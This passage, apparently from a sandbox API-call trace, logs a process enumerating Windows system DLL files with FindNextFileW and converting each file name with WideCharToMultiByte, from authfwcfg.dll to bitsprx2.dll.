ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0180.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x49c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0180.693] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0180.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.694] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0180.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0180.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x49c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0180.694] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0180.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0180.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x49c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0180.694] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0180.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x49c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.694] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0180.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x49c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0180.694] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0180.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.694] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0180.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0180.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x49c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0180.694] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0180.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0180.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x49c288, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0180.695] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0180.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.695] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0180.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.695] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0180.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x49c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0180.695] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0180.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.695] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0180.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.695] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0180.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.695] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0180.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.695] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0180.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.696] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0180.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0180.696] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0180.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0180.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x49c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0180.696] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0180.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.696] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0180.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x49c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0180.696] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0180.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.696] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0180.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.696] FindNextFileW (in: hFindFile=0x5cfd68, 